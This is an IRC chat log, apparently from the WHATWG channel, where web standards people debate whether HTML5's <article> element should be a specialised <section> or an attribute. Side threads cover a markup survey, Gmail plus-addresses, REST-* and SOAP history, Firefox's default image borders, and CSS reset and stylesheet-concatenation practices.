adactio, convenience

[05:33:00.0000] <da3d>
Well you could use the > selector to avoid to classes, but it's kind of a pita compared to just article {}.

[05:33:01.0000] <adactio>
Lachy: does that apply in general? i.e. Don't create new attributes when you can create a new element.

[05:33:02.0000] <Lachy>
<article> is shorter than <section type=article>, and easier to style without attribute selectors that some browsers don't suppor

[05:34:00.0000] <Hixie>
adactio: if the idea is to make <div class="post"> more convenient, moving to <section type=article> fails.

[05:34:01.0000] <Lachy>
adactio, there is no generalised rule

[05:34:02.0000] <Lachy>
it has to be judged on a case by case basis

[05:34:03.0000] <adactio>
Lachy: that's a fair point BUT the problem I'm seeing is confusion amongst authors about when to use <article> and when to use <section> because the two are currently uncoupled in the spec, despite the fact that they are very, very similar.

[05:35:00.0000] <Hixie>
from what i've seen, authors do not have such confusion

[05:35:01.0000] <Hixie>
they use them correctly

[05:35:02.0000] <Lachy>
yes, they are intentionally similar, because <article> is indeed a specialised type of <section>

[05:35:03.0000] <Hixie>
as are <nav> and <aside>

[05:35:04.0000] <Lachy>
yes

[05:36:00.0000] <adactio>
I admit there is a precedent here: <ol> and <ul> rather then <list ordered> and <list> but at least it's easy for authors to grok "they're both kinds of lists." But with <section> and <article>, they're both kinds of ... stuff.

[05:36:01.0000] <Hixie>
the spec actually mentions <article> in the <section> section now, by the way

[05:36:02.0000] <Hixie>
as of about 30 minute sago

[05:36:03.0000] <da3d>
I don't really see where the confusion comes from, I just think of them as: article = large gob of stand-alone content, section = part of larger thingy

[05:36:04.0000] <Hixie>
so they're no longer uncoupled

[05:36:05.0000] <adactio>
Hixie: Good. Thank you for that.

[05:37:00.0000] <Lachy>
Hixie, do you mean this note? "Authors are encouraged to use the article  element instead of the section  element when it would make sense to syndicate the contents of the element."

[05:37:01.0000] <adactio>
da3d: why do you think an article must be a "large" gob?

[05:38:00.0000] <Hixie>
Lachy: yeah

[05:38:01.0000] <remysharp>
da3d: equally, a section can be both part of a larger thingy, or just a small part of an article, or contain articles, or not.

[05:38:02.0000] <adactio>
da3d: here are two pages of articles. The gobs are not large: http://www.last.fm/user/adactio/shoutbox http://twitter.com/adactio

[05:39:00.0000] <Lachy>
da3d, basing it on size doesn't seem sensible, since both articles and other general sections can be of any size

[05:39:01.0000] <Lachy>
you have to base the distinction on concepts, rather than any physical attribute of the content

[05:39:02.0000] <da3d>
adactio: "large" in relation to smaller sections, anyway...

[05:40:00.0000] <da3d>
But the size is irrelevant, so feel free to ignore the large word :p

[05:41:00.0000] <adactio>
da3d: articles can be bigger than sections. sections can be bigger than articles.

[05:41:01.0000] <Lachy>
indeed. Sections can even contain many articles, and do in some cases

[05:42:00.0000] <da3d>
true, but I'm mostly thinking of how I would use them (if I had a website) and I don't use twitter and such...

[05:42:01.0000] <adactio>
So ...although <section> and <article> are using different element names, is it fair to say that an <article> is a specialised type of <section>?

[05:43:00.0000] <adactio>
Similar to <ul> or <ol> ...or more appropriately <input> and <textarea> (which could have been <input type="textarea">)

[05:43:01.0000] <Lachy>
consider the case the Top Stories section of a news site, where you would have a <section><h1>Top Stories</h1> ... </section> which then contains 3 or 4, or whatever, <article> elements, one for each of the top storeis

[05:44:00.0000] <adactio>
Lachy: yup, and each of those <article> elements could have been a <section> element, except the author decides "*these* pieces of content could be distributed or reused".

[05:44:01.0000] <Lachy>
adactio, no, <input type=textarea> wouldn't work too well since you'd have to cram all that content into a value attribute, including line breaks and stuff

[05:45:00.0000] <adactio>
Lachy: okay, bad example, but you get my point.

[05:45:01.0000] <Lachy>
yeah, I sort of get your point

[05:46:00.0000] <adactio>
All <article>s are sections. Not all sections are <article>s. (just as all acronyms are abbreviations but not all abbreviations are acronyms)

[05:47:00.0000] <Lachy>
I have a problem with distributable and reusable being considered as criteria for the <article> element. The criteria should just be independence

[05:48:00.0000] <Lachy>
though, even that's doesn't convey it entirely accurately

[05:48:01.0000] <Lachy>
adactio, yes, that correct

[05:48:02.0000] <adactio>
Lachy: So, in your example "the Top Stories section of a news site", each of those <article> elements could have been a <section> element, except the author decides "*these* pieces of content **are independent**"

[05:49:00.0000] <Lachy>
yes

[05:49:01.0000] <remysharp>
but section has the same property doesn't it

[05:49:02.0000] <remysharp>
sections are supposed to be independent chunks of content

[05:49:03.0000] <remysharp>
?

[05:49:04.0000] <adactio>
The <article> element looks like a duck, walks like a duck and quacks like a duck (where the duck is the <section> element).

[05:50:00.0000] <Binarytales>
but it's a duck that has figured out it can fly south on its own

[05:50:01.0000] <adactio>
remysharp: ah no, you see sections are chunks of content, articles are *independent* chunks of content. That one word makes all the difference.

[05:50:02.0000] <Lachy>
remysharp, not entirely. A chapter in a book is not independent from the whole. It's just a subsection

[05:51:00.0000] <remysharp>
ok. I can see that.

[05:52:00.0000] <takkaria>
some chapters are independent 

[05:52:01.0000] <remysharp>
any chance of plain ol' english being put in the spec then - Lachy's example is pretty easy to see applied to a web page/site

[05:52:02.0000] <Hixie>
Lachy: the "reusable" part is key, i think, more than the "independent" part, because the important sense of "independent" that leads to <article> use is that the thing is really independent enough to be reused (e.g. put on a page of its own)

[05:52:03.0000] <adactio>
I can see the problem that is being solved here. An article is a specialised type of content. There are two ways to solve this problem: a new element (<article>) or an attribute on the existing element (<section @article>).

[05:52:04.0000] <Hixie>
remysharp: is what the spec says now not ok? (it's changed a lot tonight)

[05:53:00.0000] <gsnedders>
/me blinks at http://www.pitpass.com/fes_php/pitpass_news_item.php?fes_art_id=39026

[05:53:01.0000] <remysharp>
Hixie: they just need really simple examples (section & article) that define which should be used when

[05:53:02.0000] <remysharp>
Hixie: let me double check what they show now

[05:53:03.0000] <adactio>
I can see why a new element is more convenient for typing, but I thought there would be more resistance to creating a new element when the problem can be otherwise solved (see, for example, the understandable resistance to creating a new element for captioning <details> and <figure>).

[05:54:00.0000] <Hixie>
the thing with the new element for <details> and <figure> is that there's already 18 elements that mean "heading" or some variant thereof

[05:54:01.0000] <Hixie>
18!

[05:55:00.0000] <Hixie>
i mean that's like more than half the language

[05:55:01.0000] <Hixie>
there comes a point where one has to say enough! let's reuse the existing elements!

[05:55:02.0000] <Hixie>
but with <article>, <section>, <nav> and <aside>, that's only 4 elements

[05:55:03.0000] <Hixie>
5 if you count <body>

[05:55:04.0000] <Hixie>
so there's a lot less resistence

[05:56:00.0000] <adactio>
Hixie: That makes sense. But I am seeing a lot of confusion from authors and I think there would be less confusion if articles were explicitly a specialised type of section.

[05:57:00.0000] <Hixie>
where is the confusion you're seeing?

[05:57:01.0000] <Hixie>
it seems authors are using these two elements correctly

[05:57:02.0000] <Hixie>
the confusion you mentioned on your blog post was about the spec's definitions, which is now fixed

[05:58:00.0000] <adactio>
Hixie: authors unsure about 1) when to use article and when to use section (although admittedly a lot of that is about about authors looking for an element to mark up "main content") and 2) can sections be nested in articles and visa-versa.

[05:58:01.0000] <Hixie>
pointers?

[05:59:00.0000] <Hixie>
i'd love to study this in more detail

[05:59:01.0000] <Hixie>
i haven't seen much of that, most of what i've seen has authors using the elements correctly apparently with little comment

[05:59:02.0000] <adactio>
Hixie: I wish I had some concrete material I could point you to. :-( I'll see if I can find some relevant discussions and blog posts.

[05:59:03.0000] <Hixie>
cool, thanks

[06:00:00.0000] <adactio>
Hixie: don't get me wrong: there are some very good examples out there. Ted's tutorial is the best I've seen so far.

[06:01:00.0000] <annevk42>
we should do a markup study of html5gallary

[06:01:01.0000] <annevk42>
gallery even

[06:01:02.0000] <adactio>
annevk42: that's a good idea.

[06:01:03.0000] <Lachy>
I think the problem is that there are grey areas where either article or section could be used, and trying to draw a fine line in that grey area is difficult

[06:01:04.0000] <adactio>
Lachy: no argument there. :-)

[06:01:05.0000] <annevk42>
maybe we can do it in some distributed way so that everyone checks ten pages or so and reports on a wiki?

[06:01:06.0000] <Hixie>
annevk42: yeah

[06:02:00.0000] <Hixie>
annevk42: that'd be awesome

[06:03:00.0000] <remysharp>
Hixie: regarding examples, it would be useful to see an example of how section works when it's not in the context of an article

[06:04:00.0000] <remysharp>
in the example text (chapters, tabs, etc) all of those would sit inside a wrapping article element

[06:04:01.0000] <Lachy>
adactio, where is Ted's tutorial that you mentioned?

[06:04:02.0000] <adactio>
Lachy: lemme find it...

[06:04:03.0000] <Hixie>
remysharp: almost all the examples of <section> in the spec that aren't in the <section> section are examples of that :-)

[06:05:00.0000] <Hixie>
remysharp: you're right it'd be nice to have some in the <section> section

[06:05:01.0000] <Hixie>
remysharp: can you file a bug with the little widget at the bottom of the spec window?

[06:05:02.0000] <Hixie>
basically just saying what you said above

[06:05:03.0000] <remysharp>
ok, sure.

[06:05:04.0000] <adactio>
Lachy: http://edward.oconnor.cx/2009/09/using-the-html5-sectioning-elements (though again, the context is marking up a blog).

[06:05:05.0000] <Hixie>
thanks

[06:06:00.0000] <adactio>
Hixie: do you think it would be useful if the spec *explicitly* said "an article is a specialised type of section"?

[06:06:01.0000] <remysharp>
Hixie: I'm using the "submit review comment" - right?

[06:06:02.0000] <Hixie>
remysharp: yep

[06:07:00.0000] <Lachy>
adactio, that's by Edward, not someone named Ted, whoever that is. Did you just get his name mixed up?

[06:07:01.0000] <adactio>
Lachy: He goes by Ted IRL.

[06:07:02.0000] <Hixie>
adactio: i think it might lead to the confusion that your study showed -- i think the main reason article and section were confused in your study is that the description of <article> said "section"

[06:07:03.0000] <Lachy>
he goes by hober in here

[06:07:04.0000] <adactio>
Lachy: this isn't RL. ;-)

[06:08:00.0000] <Lachy>
I don't know him in real life. He only exists in IRC :-)

[06:09:00.0000] <adactio>
Hixie: then maybe the old description was explicit enough. It may be necessary to say "the <article> element can be thought of as a specialised type of <section> element."

[06:09:01.0000] <adactio>
Lachy: I can testify that he exists beyond the confines of IRC (and is a great guy, too). :-)

[06:10:00.0000] <Hixie>
adactio: http://www.whatwg.org/specs/web-apps/current-work/#sectioning-content-0

[06:10:01.0000] <annevk42>
adactio, isn't that Edward and not Ted?

[06:10:02.0000] <Hixie>
adactio: each of those elements is marked as being "Category: Sectioning content"

[06:10:03.0000] <adactio>
annevk42: Oh do keep up. Lachy, you tell him. ;-)

[06:11:00.0000] <Hixie>
adactio: isn't that explicit enough?

[06:11:01.0000] <Lachy>
annevk42, apparently, he goes by Ted in real life.

[06:11:02.0000] <annevk42>
adactio, sorry

[06:11:03.0000] <adactio>
Hixie: alas, I don't think it is.

[06:11:04.0000] <annevk42>
adactio, I thought hober was his nickname

[06:11:05.0000] <annevk42>
very confusing all

[06:11:06.0000] <Hixie>
adactio: i fear making the spec repeat itself will just make it so verbose that people will read it even less than now

[06:12:00.0000] <Hixie>
adactio: i agree that prose to that effect would make sense in informative author-specific drafts like lachy's and mike's though

[06:12:01.0000] <adactio>
Hixie: that's a fair point. 

[06:12:02.0000] <Lachy>
adactio, file a bug on my authoring guide and I'll make sure it says something suitable

[06:12:03.0000] <adactio>
It would certainly be A Good Thing if tutorials explicitly said "think of <article> as being like a specialised <section>"

[06:13:00.0000] <Lachy>
http://www.w3.org/Bugs/Public/enter_bug.cgi?product=HTML%20WG&component=Lachlan%20Hunt%27s%20%22HTML%205%20Reference%22

[06:14:00.0000] <Lachy>
adactio, I'll also try and explain it better in the article I'm working on here http://lachy.id.au/temp/article/

[06:15:00.0000] <adactio>
Lachy: Excellent. I'll do the same in any blogging I do on these elements.

[06:15:01.0000] <adactio>
Though I'm still not convinced that there needs to be two different elements for such similar use cases.

[06:16:00.0000] <Lachy>
hsivonen, are you still planning to file bugs about those issues with the HTML5 Reference you mentioned in IRC the other day?

[06:17:00.0000] <Lachy>
I remember one was about mentioning the ability to use xmlns prefixes. I can't remember what the other one was

[06:17:01.0000] <Hixie>
adactio: how would you get rid of the need for using classes to style <div class="post">, if not with a new element?

[06:17:02.0000] <Lachy>
Hixie, it depends if you see that as a real problem that needs to be solved

[06:18:00.0000] <Hixie>
it's the problem that pretty much all the sectioning elements are trying to solve

[06:25:00.0000] <GPHemsley>
No approval for my list message? :(

[06:25:01.0000] <gsnedders>
GPHemsley: Nobody ever looks at the moderation queue, esp. not the one person who has access :P

[06:25:02.0000] <GPHemsley>
meh

[06:26:00.0000] <Lachy>
GPHemsley, which list?

[06:26:01.0000] <GPHemsley>
whatwg

[06:26:02.0000] <Hixie>
that list gets about 1000 spam messages a day

[06:26:03.0000] <Hixie>
no way i'm checking that queue :-P

[06:26:04.0000] <Lachy>
GPHemsley, are you subscribed? It should go through automatically

[06:27:00.0000] <GPHemsley>
Lachy: Yeah, I am.

[06:27:01.0000] <annevk42>
if you get an approval message you used the wrong email address

[06:28:00.0000] <GPHemsley>
hmm, you know what... I think I'm subscribed using a + e-mail address

[06:28:01.0000] <GPHemsley>
not sure how to make Gmail send from one

[06:29:00.0000] <wm3|lunch>
GPHemsley: you should get a drop-down list for 'from' in gmail web client for extra email addresses in your gmail account

[06:29:01.0000] <GPHemsley>
wm3|lunch: That's only for the ones you specifically attach

[06:29:02.0000] <adactio>
Hixie: the CSS attribute selector enables authors to target <section @article> specifically: section[article] { }

[06:29:03.0000] <GPHemsley>
wm3|lunch: You can arbitrarily give out + e-mail addresses without having to do anything to create them

[06:30:00.0000] <wm3|lunch>
ah, not used that feature :)

[06:31:00.0000] <Binarytales>
I use it for all my mailing list subs. Makes it super easy to filter them

[06:31:01.0000] <GPHemsley>
Hixie: I did accidentally send the message to you personally first.

[06:31:02.0000] <GPHemsley>
Binarytales: Yeah, that was the idea.

[06:33:00.0000] <Lachy>
Binarytales, filtering on List-id is just as easy, usually

[06:34:00.0000] <Lachy>
though, the +foo email addresses sort of have their use as a spam filtering mechanism, as I've heard others claim, I don't think they would be entirely effective

[06:36:00.0000] <Hixie>
adactio: that's no better than section.article or div.article

[06:36:01.0000] <Hixie>
adactio: the whole point is to avoid having to use attribute selectors but to just have a tag name

[06:36:02.0000] <Hixie>
ok, bed time

[06:37:00.0000] <Hixie>
nn

[06:37:01.0000] <Lachy>
code readbility is another issue it addresses, since you can easily match a </article> with its start tag, whereas that would be harder if you had used <section> (or even <div>) for everything

[06:48:00.0000] <adactio>
Hixie: why the preference for element selectors over other kinds of selectors?

[06:48:01.0000] <adactio>
Hixie: it seems arbitrary to me,

[06:52:00.0000] <annevk42>
they're better understood

[06:52:01.0000] <annevk42>
and they're fast

[06:52:02.0000] <annevk42>
i made a small start with the markup survey: http://wiki.whatwg.org/wiki/HTML5_Survey

[06:53:00.0000] <annevk42>
at this point it would probably be good to comment on the setup

[06:53:01.0000] <annevk42>
i'm not too happy about it, but everything else seems a lot more complicated

[06:54:00.0000] <adactio>
annevk42: but if I want to style the publication date of an article, doesn't it make sense to use time[pubdate]?

[06:57:00.0000] <annevk42>
sure

[06:58:00.0000] <adactio>
annevk: the same applies for section[article]. And in the use case that gets mentioned 99% of the time when talking about articles (i.e. a blog), it is likely that the only sections will be articles so authors will be able to use the element selector.

[06:59:00.0000] <annevk42>
why wouldn't a blog use nested sections?

[06:59:01.0000] <annevk42>
lots of blog articles have headings

[07:00:00.0000] <adactio>
If there is pushback against using attributes because you think they are harder to style, how are authors going to distinguish blog post <article>s and blog comment <article>s? They could use classes but we've heard how bad that is. Shouldn't we have a <comment> element then?

[07:00:01.0000] <annevk42>
news articles too

[07:00:02.0000] <GPHemsley>
I still like <item>

[07:00:03.0000] <annevk42>
article > article?

[07:00:04.0000] <adactio>
annevk42: section[article] section { } allows me to target sections within articles.

[07:00:05.0000] <GPHemsley>
but I can't stick around to participate in the discussion

[07:03:00.0000] <Philip`>
GPHemsley: You can add the + addresses in Gmail's settings page, and then send mail from them

[07:05:00.0000] <Philip`>
/me has given up using + addresses in Gmail because it makes it trivial to filter mailing lists without relying on recipient address, and it filters spam pretty well so there's not much value in segregating the addresses you give to different sites

[07:05:01.0000] <annevk42>
adactio, sure, and section[nav] alloes you to target what could also be <nav>

[07:05:02.0000] <Philip`>
"we're not maximising the area of confusion, the spec is incredibly detailed and has more examples and notes and explanatory text than a school textbook"

[07:05:03.0000] <Philip`>
I don't think incredible detail and many examples necessarily make things less confusing

[07:06:00.0000] <Philip`>
It's like authors are trying to fit a polynomial to the data points provided by the spec, and the more data points there are, the more complex the understanding they derive from it

[07:06:01.0000] <Philip`>
"I think the spec says I should use <article> for this and this and this and this, but certainly not for this and this and this. Should I use it for this other thing?"

[07:06:02.0000] <annevk42>
adactio, afaict <article> is different and common enough for its own element, and blog comments are not different in semantics to warrant something new

[07:06:03.0000] <adactio>
annevk42: True, but authors aren't confused about when to use <nav>. And <nav> doesn't share 99.99% of its DNA with <section>.

[07:07:00.0000] <jgraham_>
adactio: You keep saying that but I still don't think it\s true

[07:07:01.0000] <annevk42>
adactio, the former is not entirely clear (a more thorough markup study might reveal that) and the latter somewhat subjective

[07:07:02.0000] <adactio>
annevk42: I agree with you that blog comments are not different enough to warrant their own element. I disagree that blog posts are different enough to warrant their own element (which is effectively what <article> is).

[07:07:03.0000] <jgraham_>
/me thought we dispelled that notion some hours ago

[07:08:00.0000] <annevk42>
adactio, i'm not too convinced about <article> either, but making it an attribute is worse

[07:08:01.0000] <hsivonen>
/me notices that the URL space of the management UI of his router spells "gauge" wrong

[07:08:02.0000] <adactio>
My example of blog comments was to show that the solution of having two different elements (<section> and <article>) as opposed to one element (<section> and <section @article>) does not actually make it any easier for authors to target with CSS.

[07:08:03.0000] <hsivonen>
also, it calls a progress bar a gauge

[07:08:04.0000] <hsivonen>
or, well, "guage"

[07:09:00.0000] <Dashiva>
<bar>

[07:09:01.0000] <annevk42>
adactio, ok, it does make your markup clearer

[07:09:02.0000] <adactio>
annevk42: that's a matter of opinion. I don't think there's a big difference between <section article> and <article>.

[07:10:00.0000] <adactio>
annevk42: and frankly, that's a pretty flimsy reason for creating a new element.

[07:10:01.0000] <beowulf>
http://www.guardian.co.uk/sport/2009/sep/15/flavio-briatore-renault-singapore-nelson-piquet-transcript # The Grauniad like the dialog guidelines...

[07:10:02.0000] <Philip`>
/me proposes updating English to rename gauge to gayj

[07:11:00.0000] <hsivonen>
apparently en-GB-x-hixie isn't quite enough to be English5

[07:12:00.0000] <annevk42>
adactio, that's pretty much the reason we have <nav> and all

[07:12:01.0000] <Lachy>
Philip`, the way to update the english langauge is to have the word published enough so that it meets the criteria that the OED uses for deciding when to add a new word

[07:12:02.0000] <annevk42>
adactio, so you don't have to wade through a bunch of <div>s

[07:12:03.0000] <annevk42>
adactio, there's other benefits too of course

[07:12:04.0000] <Binarytales>
i thought the main reason we have <nav> is for accessibility

[07:13:00.0000] <adactio>
annevk42: But <nav> has a *distinct* use case. So does <header>. So does <footer> (although there's some overlap with <aside>). Whereas <section> and <article> are so similar as to be redundant.

[07:13:01.0000] <hsivonen>
Lachy: oops. Sorry. I forgot to file the bugs when I got to a decent text input method

[07:13:02.0000] <annevk42>
adactio, it seems people disagree on that

[07:13:03.0000] <Philip`>
Lachy: I hope "langauge" was a joke :-p

[07:14:00.0000] <annevk42>
adactio, I don't feel strongly, apart from not wanting to turn it into an attribute

[07:14:01.0000] <Philip`>
Lachy: Let's put <gayj> in HTML5, and then it will be used widely enough to become an official word

[07:14:02.0000] <Lachy>
Philip`, let's just pretend it was :-)

[07:14:03.0000] <adactio>
annevk42: Fair enough. I don't feel strongly about introducing an attribute but I do feel strongly that the existence of two very, very similar elements is a problem.

[07:15:00.0000] <annevk42>
adactio, then you should continue the little survey i started and figure out of its an actual problem for authors

[07:15:01.0000] <annevk42>
adactio, or argue for removal

[07:15:02.0000] <annevk42>
or both

[07:16:00.0000] <adactio>
A more complex parsing rule than simply using an attribute would be something like "the parent <section> of a <time> element with a @pubdate attribute is a special kind of section called an article, which could be distributed or reused"

[07:16:01.0000] <annevk42>
that wouldn't work for widgets

[07:16:02.0000] <adactio>
annevk42: The thing about the survey is, it would have to contain more than just blog content. The use case is clear for blogs and very unclear for everything else.

[07:17:00.0000] <adactio>
annevk42: Frankly, most authors won't think of using <article> for widgets as it is (see Remy's comments above).

[07:17:01.0000] <annevk42>
html5gallery includes both blogs and non-blogs

[07:17:02.0000] <hsivonen>
Lachy: bugs filed

[07:17:03.0000] <Lachy>
thanks

[07:19:00.0000] <Lachy>
/me should start addressing these bugs soon http://www.w3.org/Bugs/Public/buglist.cgi?product=HTML%20WG&component=Lachlan%20Hunt%27s%20%22HTML%205%20Reference%22

[07:23:00.0000] <hsivonen>
interesting post way back from 2003: http://www.goer.org/Journal/2003/08/orthodoxies.html

[07:23:01.0000] <hsivonen>
(via mattur)

[07:25:00.0000] <Binarytales>
Okay, going through the html5gallery I found this site: http://resume.chuckharmston.com/

[07:26:00.0000] <Binarytales>
he uses sections where he could argubaly be using articles

[07:27:00.0000] <hsivonen>
http://www.jboss.org/reststar/

[07:29:00.0000] <Philip`>
"an element that executes arbitrary author-provided inline assembler"

[07:29:01.0000] <Philip`>
That sounds like Google's NaCl

[07:29:02.0000] <annevk42>
Binarytales, you want to find pages where it's the other way around

[07:30:00.0000] <Lachy>
Binarytales, I would probably opt to use section for that case too, though I can see how article would be somewhat acceptable too

[07:30:01.0000] <Binarytales>
well if he did use articles then I could easily have said. "he uses articles where he could arguably be using sections"

[07:30:02.0000] <Binarytales>
thus, the elements are interchangeable, which is the point adactio is making

[07:31:00.0000] <Lachy>
Binarytales, that looks like one of those grey areas, though I personally think section is more correct because each is just a subsection of the whole resume

[07:32:00.0000] <annevk42>
hsivonen, so I looked up middleware and it didn't get much clearer

[07:33:00.0000] <annevk42>
hsivonen, I think I do get the WS-* vs REST debate

[07:33:01.0000] <adactio>
This is my point. When people here disagree about when to use <section> and when to use <article>, how are other authors supposed to figure it out? You just don't see this same level of confusion around <nav>, <header> or <footer>.

[07:33:02.0000] <adactio>
 I can see how, in principle, <article> is no different to those elements but in practice, it's *way* more confusing.

[07:33:03.0000] <Binarytales>
yes but surely his section id="biography" is independent and re-suable, if he was speking at conference yoy could use that on the speakers page

[07:33:04.0000] <Binarytales>
and thus its an article

[07:34:00.0000] <karlcow>
hsivonen: the comments on goerg article are interesting too. 

[07:34:01.0000] <hsivonen>
annevk42: I hope it's satire as stated in https://twitter.com/psd/status/4027785827

[07:34:02.0000] <adactio>
Binarytales: that sounds like it satisfies the "independent" and "reusable" criteria to me.

[07:35:00.0000] <karlcow>
hsivonen: difficult to know if it's really satire or if psd is being saccarstic

[07:35:01.0000] <Binarytales>
adactio: yeah exactly

[07:35:02.0000] <adactio>
It will be interesting see if *anybody* is using <article> to mark up widgets.

[07:36:00.0000] <Philip`>
I guess the problem with REST is there isn't a lot of pointless complexity that vendors can sell you, so it needs to be rearchitected to have more layers of abstraction that they can sell

[07:37:00.0000] <hsivonen>
karlcow: indeed. it's a bit of a problem that it's so hard to tell

[07:37:01.0000] <karlcow>
REST-* should become RIP

[07:39:00.0000] <Lachy>
what is "REST-*"?

[07:40:00.0000] <karlcow>
Lachy: a deathstar :)

[07:41:00.0000] <hsivonen>
Lachy: http://rest-star.org/

[07:44:00.0000] <annevk42>
hsivonen, looks like it

[07:44:01.0000] <hsivonen>
annevk42: looks like what?

[07:44:02.0000] <boblet>
aaw, I missed the section/article conversation

[07:44:03.0000] <annevk42>
an elaborate joke

[07:45:00.0000] <hsivonen>
annevk42: it's a bit disturbing if it isn't

[07:45:01.0000] <Philip`>
Seems too elaborate and too dull to actually be a joke

[07:46:00.0000] <Philip`>
It points to stuff like http://groups.google.com/group/reststar-board/browse_thread/thread/96ad3d4d28ec69ae

[07:47:00.0000] <Philip`>
which sounds genuine

[07:47:01.0000] <karlcow>
the only thing which makes it a joke is the lack of activity on the mailing list

[07:48:00.0000] <Lachy>
in http://www.jboss.org/reststar/overview/why.html it compares it with WS-*. But it's not clear to me what "WS-*" referrs to.

[07:48:01.0000] <karlcow>
Though if it's a joke, it's making fun of whatwg, w3c, and openwebfoundation at the same time. Which is quite genius indeed

[07:49:00.0000] <karlcow>
Lachy: have you lived in a case these last years?

[07:49:01.0000] <karlcow>
s/case/cave/

[07:49:02.0000] <Lachy>
I've just never seen that abbreviation before

[07:49:03.0000] <karlcow>
Lachy: see for example http://bitworking.org/news/125/REST-and-WS

[07:50:00.0000] <karlcow>
WS-* stands for the full stack of Web Services which was pushed at W3C by some vendors to sell the next generation of web fashioned Corba 

[07:51:00.0000] <karlcow>
It created a lot of discussions, pains, and schism 

[07:51:01.0000] <Lachy>
karlcow, ok. I ignored pretty much all of that stuff from the W3C

[07:52:00.0000] <Lachy>
so it includes stuff like SOAP and WSDL?

[07:53:00.0000] <karlcow>
Lachy: yes

[07:53:01.0000] <Lachy>
if so, then that would explain why I don't know much about it, since that stuff was completely irrelevant to me

[07:54:00.0000] <Philip`>
I remember looking at Microsoft's MSDN front page many years ago, and it was all talking about SOAP

[07:54:01.0000] <Philip`>
and I read various things it linked to

[07:54:02.0000] <Philip`>
but I had absolutely no idea what SOAP was and couldn't work it out

[07:55:00.0000] <workmad3>
isn't soap that stuff you use in a bath?

[07:55:01.0000] <Philip`>
It seems they tend to skip the part where they actually explain what's basically going on

[07:55:02.0000] <Philip`>
workmad3: No, that's pumice

[07:55:03.0000] <Lachy>
workmad3, some people do. Others use it for sending messages to each other

[07:55:04.0000] <karlcow>
Philip`: XML-RPC -> SOAP 1 -> SOAP 1.2

[07:56:00.0000] <karlcow>
http://www.xmlrpc.com/

[07:56:01.0000] <karlcow>
by Dave Winer

[07:56:02.0000] <karlcow>
then pushed by Dave Winer and MS at W3C

[07:58:00.0000] <karlcow>
http://www.w3.org/TR/2000/NOTE-SOAP-20000508/

[07:58:01.0000] <karlcow>
For Microsoft at the origin it was Don Box

[07:59:00.0000] <karlcow>
and a few others

[08:18:00.0000] <zcorpan>
so when will firefox remove the border around <a href><img> and <img usemap>?

[08:18:01.0000] <annevk42>
is there a bug?

[08:19:00.0000] <annevk42>
prolly easy enough to patch if they implement it with CSS rules

[08:21:00.0000] <Lachy>
they do. It's in html.css

[08:21:01.0000] <Lachy>
*|*:-moz-any-link img, img[usemap], object[usemap] {

[08:21:02.0000] <Lachy>
  border: 2px solid;

[08:21:03.0000] <Lachy>
}

[08:21:04.0000] <Lachy>
img[usemap], object[usemap] {

[08:21:05.0000] <Lachy>
  color: blue;

[08:21:06.0000] <Lachy>
}

[08:23:00.0000] <Lachy>
does IE still add the border around images?

[08:24:00.0000] <Lachy>
yep, it does

[08:36:00.0000] <Philip`>
When will Opera add a border around <a href><img>, so I don't write pages that I think are fine and then find out days later they look hideous in Firefox?

[08:37:00.0000] <karlcow>
Philip`: you can reset your css

[08:40:00.0000] <karlcow>
I systematically do @import url("/reset.css"); with http://meyerweb.com/eric/tools/css/reset/

[08:40:01.0000] <karlcow>
and add my own style after. You can even create your own generic one.

[08:41:00.0000] <annevk42>
it adds so much bloat

[08:41:01.0000] <Philip`>
I'd prefer not to systematically start all my pages by fighting against the browser

[08:44:00.0000] <karlcow>
Philip`: I'll try to repeat that to the Agency Web developers where I'm working ;)

[08:47:00.0000] <Philip`>
I don't expect their preferences will be the same as mine

[08:48:00.0000] <karlcow>
Philip`: understood, it is more the "not… fighting against the browser" which made me smile :)

[08:53:00.0000] <boblet>
/me wishes there was a wiki with a list of the differences that reset.css addresses

[08:53:01.0000] <Philip`>
They wouldn't prefer not to fight against the browser?

[08:58:00.0000] <karlcow>
Philip`: definitely

[08:59:00.0000] <karlcow>
given that the support of ie6 is often a requirement imposed by the client (specifically in big companies).

[09:02:00.0000] <Philip`>
Hmm, they definitely wouldn't not prefer it?

[09:03:00.0000] <Philip`>
/me would have thought it would be considered a necessary evil, not an actual desire

[09:03:01.0000] <annevk2>
yeah man, that's the whole fun part of doing HTML and CSS

[09:03:02.0000] <annevk2>
browser bugs

[09:03:03.0000] <annevk2>
though admittedly I since moved on to fix some of them and introduce a bunch more

[09:04:00.0000] <boblet>
heh

[09:07:00.0000] <Lachy>
Philip`, add a user stylesheet to Opera that applies the ugly borders to images by default

[09:08:00.0000] <Lachy>
Philip`, this should work:

[09:08:01.0000] <Lachy>
:visited img, :link img, img[usemap], object[usemap] { border: 2px solid; }

[09:08:02.0000] <Lachy>
img[usemap], object[usemap] { color: blue; }

[09:08:03.0000] <Rik|work>
karlcow: don't use @import http://stevesouders.com/blog/2009/04/09/dont-use-import/

[09:13:00.0000] <Philip`>
Why go to so much effort trying to find an efficient way to serve multiple CSS files, rather than simply concatenating them all into one?

[09:13:01.0000] <karlcow>
Rik|work: reading it

[09:14:00.0000] <boblet>
Philip`: because of that A List Apart article

[09:14:01.0000] <Philip`>
boblet: Which one?

[09:14:02.0000] <Rik|work>
Philip`: because you maybe don't want to concatenate them all

[09:15:00.0000] <boblet>
Philip`: http://www.alistapart.com/articles/progressiveenhancementwithcss/

[09:15:01.0000] <Rik|work>
Philip`: I don't want to loadd CSS styles for a private section on a public section, i don't want to load all my styles on the home page, etc etc

[09:16:00.0000] <boblet>
it’s based on the idea that you don’t want styles for every page loaded on each page because they may be quite divergent

[09:16:01.0000] <boblet>
unfortunately performance hit of a loading stylesheet is probably bigger than any savings from eg not loading forms.css

[09:18:00.0000] <Philip`>
Yeah, seems like saving round trips is much more important than saving bytes

[09:18:01.0000] <boblet>
admittedly I’ve never done a huge octopus-like site that would warrant it, but for me definitely more pain than gain

[09:18:02.0000] <karlcow>
Philip`: there are many reasons, some given by Rik|work. There is also maintenance in a multi-designer team. 

[09:19:00.0000] <boblet>
I think a base problem is long stylesheets are hard to create because most editing tools don’t help (notable exception CSSEdit)

[09:19:01.0000] <karlcow>
We could have a level of indirection in deployment scripts but prone to errors. aka put all styles in one style before deploying

[09:19:02.0000] <Philip`>
karlcow: Maintenance doesn't seem too relevant, because you could use <link rel=stylesheet href=concatenate.php?type,layout,color> (with suitable caching in front of the script) and it would have no effect on maintenance

[09:20:00.0000] <Philip`>
s/no/little/

[09:21:00.0000] <Philip`>
and if you're someone who cares about site performance then you'll be able to cope with a little scripting and caching

